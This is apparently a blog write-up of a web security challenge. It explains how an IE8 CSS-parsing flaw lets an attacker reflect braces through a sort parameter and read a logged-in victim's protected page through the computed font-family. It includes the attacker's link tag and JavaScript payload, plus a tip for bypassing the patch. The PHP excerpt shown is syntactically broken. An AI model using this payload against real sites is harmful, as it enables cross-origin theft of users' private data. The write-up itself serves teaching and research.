	echo '" /></td>',"\n",'<td><select name="o">';
	if(isset($_GET['o']) && preg_match('/^(ASC|DESC)$/im', $_GET['o']))
		if(strtolower($_GET['o']) === 'asc')
			echo '<option selected>asc</option>',
		else if(strtolower($_GET['o']) === 'desc')
			echo '<option>asc</option>',
			'<option selected>desc</option>';	
			$where.= "ORDER BY captain ".$_GET['o'];
	} else
		echo '<option>asc</option>',
	echo '</select></td>',"\n",
	'<td><input type="submit" value="search" /></td>',"\n",
	$result = mysql_query("SELECT captain,code FROM captains $where", $conn);
	echo '<p>Result for captain '.htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
		echo ' ('.htmlentities($_GET['o'], ENT_QUOTES, 'utf-8').'ending)';
	echo '</p>',"\n",
	if(!mysql_error() && mysql_num_rows($result) > 0)
		for($i=0; $i<mysql_num_rows($result); $i++)
			if(!($row = mysql_fetch_array($result)))
				die("Error. Challenge broken.");
			$captain = htmlentities($row['captain'], ENT_QUOTES, 'utf-8');
			$code = htmlentities($row['code'], ENT_QUOTES, 'utf-8');
			echo "<tr><td>$captain</td><td>$code</td></tr>\n";
	} else
		echo '<tr><td colspan="2">No codes found.</td></tr>',"\n";
	echo '</table>',"\n";

} else
	echo '<form action="" method="GET">',"\n",'<table>',"\n",
	'<tr><th colspan="2">Login</th></tr>',"\n",
	'<tr><td>password:</td><td><input type="password" name="pass" value="" /></td></tr>',"\n",
	'<tr><td colspan="2" align="right"><input type="submit" value="login" /></td></tr>',"\n",


The source code shows that after providing the right password the admin is logged in by session and gets a list of all captains and their codes. He also has the option to search for a specific captain and to order the list by GET parameter o ascending or descending. However there is no SQLi or XSS vulnerability. Everything is escaped and encoded correctly. The password was a 32 character long string and could not be guessed or bruteforced.
Anyway an attacker could steal the secrets knowing that his victim runs IE8. A very cool cross-domain leakage was published by scarybeast in September 2010 that could be used like the following to steal the missile launch codes from all captains:

  1. We reflect the following CSS via the GET parameter o:

    That is possible because we only need braces that are not encoded by htmlspecialchars() and similar functions. Note that this means that every webapp is vulnerable to this attack as long as braces are not explicitly encoded.

  2. We load the webpage with our reflectively injected CSS as CSS resource:
    <link rel="stylesheet" type="text/css" href="{}body{font-family:{" />

    That is possible due to the lax IE8 CSS parsing. The first two braces make sure that every HTML content before our CSS is treated as (broken) CSS. Then our CSS starts where we define everything that follows in the HTML output as the body font-family. Because the IE8 parser will not find an ending brace it will include everything to the font-family until the end of file is reached.

  3. Now we have loaded the remote website with the whole content defined as font-family we simply access the currently computed font-family name and get the password protected content, when our victim is logged in and visits our prepared HTML webpage:
    	<link rel="stylesheet" type="text/css" href="{}body{font-family:{" />
    function getStyle() {
    	var html = document.body.currentStyle.fontFamily;
    window.setTimeout(getStyle, 2000);

    We also set a timeout in case loading the remote site as CSS resource takes some time.

The code for captain Cardboard was F15-F29-F32-F65-F17-F22. For more information about this attack read scarybeasts blogpost or this paper. Note that this can only be reproduced with an unpatched IE8. Alternatively you can add the prepared HTML page to your trusted zone which will bypass the patch.
As almost expected nobody solved this challenge most likely because the attack has not got much attention. However knowing that it is IE8 specific one could have looked at the recent IE8 patches. Also SSC is backwards for CSS and could have got you in the right direction (scarybeasts blogpost is the second hit when googling “IE8 css security”). Thanks to .mario for bringing this vuln to my attention.


Get every new post delivered to your Inbox.

Join 78 other followers